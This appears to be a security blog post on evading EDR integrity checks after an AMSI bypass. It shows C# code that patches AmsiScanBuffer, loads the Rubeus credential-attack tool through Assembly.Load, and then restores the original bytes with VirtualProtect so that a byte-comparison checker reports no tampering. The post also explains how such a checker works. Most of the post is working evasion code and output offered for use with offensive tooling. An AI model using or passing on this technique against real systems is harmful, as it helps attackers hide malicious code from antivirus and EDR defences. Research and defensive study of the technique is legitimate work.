Bypass In-memory Integrity Checking

In the Memory Patching AMSI Bypass post, I discussed how to patch the AmsiScanBuffer function to prevent it from returning a positive result when scanning content.

That process involved:

  1. Finding the location of AmsiScanBuffer in memory.
  2. Changing the memory permissions to RWX.
  3. Copying the patched bytes across.
  4. Restoring the memory region back to RX.

After this has taken place, the process doesn’t look all that different to the casual observer. And since we only changed ~6 bytes out of potentially hundreds of thousands that are in the address space, what are the chances of it being seen?

Defensive products (such as EDRs) that perform userland DLL injection may perform integrity checking on sensitive portions of the modules code. So in the event that something has been changed and wasn’t caught at the time (perhaps through the use of syscalls), it can be detected after the fact (assuming the process is still present) and subsequently alerted on.

The relevance of this somewhat depends on the offensive tooling. For instance, Cobalt Strike’s Beacon uses a fork and run pattern for many of its post-ex commands. It will spawn a temporary process, inject a post-ex capability into it, get the results over a named pipe, and then kill the process. If that post-ex capability performs some action like patching AmsiScanBuffer, it’s likely not going to be around for long enough to really worry about integrity checking. Other tools such as Covenant’s Grunt execute everything inside itself – so these types of modifications to its memory are going to hang around for as long as the implant is alive.

Consider the following:

static void Main(string[] args)
{
    var amsi = new AmsiBypass();

    // Bypass AMSI
    amsi.Execute();

    // Load Rubeus
    var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
    var asm = Assembly.Load(rubeus);

    asm.EntryPoint?.Invoke(null, new object[]{ Array.Empty<string>() });
}

The bypass allows us to load Rubeus and execute any methods we want from it. All good.

However, if we perform an integrity check on AmsiScanBuffer in this process, we can deduce that it has indeed been tampered with.

PS C:\Users\Daniel\source\repos\IntegrityDemo\MonitorApp> dotnet run 22664
========================
 AmsiScanBuffer Checker
========================

Target Process: MaliciousApp
AmsiScanBuffer: 0x7FFE26AA0000

AmsiScanBuffer tamper detected!

This is conceptually quite simple in its operation:

  1. Load amsi.dll from disk.
  2. Find AmsiScanBuffer and read the first 10 bytes.
  3. Find AmsiScanBuffer in the target process and read the first 10 bytes.
  4. Compare the two byte arrays.

If the arrays don’t match, then the function has been changed in memory of the process (or in the file which is less likely).

There are some obvious drawbacks to this approach from a defence perspective – we’re only checking AmsiScanBuffer and none of the other exported functions; and only the first 10 bytes of the function. However, in my experience the majority of people will just copy/paste the bypasses they find on the Internet *cough cough*, so this is pretty nice low-hanging fruit.

If we want to improve the bypass, we could take a copy of the original AmsiScanBuffer bytes, and then restore them once we’ve executed the malicious content that we wanted.

This could look something like this:

public void Execute()
{
    // Load amsi.dll and get location of AmsiScanBuffer
    var lib = LoadLibrary("amsi.dll");
    _asbLocation = GetProcAddress(lib, "AmsiScanBuffer");

    var patch = GetPatch;

    // Take a backup of AmsiScanBuffer bytes
    _backup = new byte[patch.Length];
    Marshal.Copy(_asbLocation, _backup, 0, patch.Length);

    // Set region to RWX
    // Copy patch
    // Restore region to RX
}

And then implement a Restore method that will copy the original bytes back:

public void Restore()
{
    // Set region to RWX
    _ = VirtualProtect(_asbLocation, (UIntPtr)_backup.Length, 0x40, out uint oldProtect);

    // Copy bytes back
    Marshal.Copy(_backup, 0, _asbLocation, _backup.Length);

    // Restore region to RX
    _ = VirtualProtect(_asbLocation, (UIntPtr)_backup.Length, oldProtect, out uint _);
}

Then in our malicious app:

static void Main(string[] args)
{
    var amsi = new AmsiBypass();

    // Bypass AMSI
    amsi.Execute();

    // Load Rubeus
    var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
    var asm = Assembly.Load(rubeus);

    asm.EntryPoint?.Invoke(null, new object[]{ Array.Empty<string>() });

    // Restore AMSI
    amsi.Restore();
}
PS C:\Users\Daniel\source\repos\IntegrityDemo\MonitorApp> dotnet run 22516
========================
 AmsiScanBuffer Checker
========================

Target Process: MaliciousApp
AmsiScanBuffer: 0x7FFE26AA0000

AmsiScanBuffer is fine  ¯\_(ツ)_/¯

Rubeus still executes as expected, but when the “check” is run against the process, no tampering is found. This method of integrity checking will likely only work if it happens to run in the narrow timeframe between the bypass being executed and the bytes restored.

,

Related posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...

Latest posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...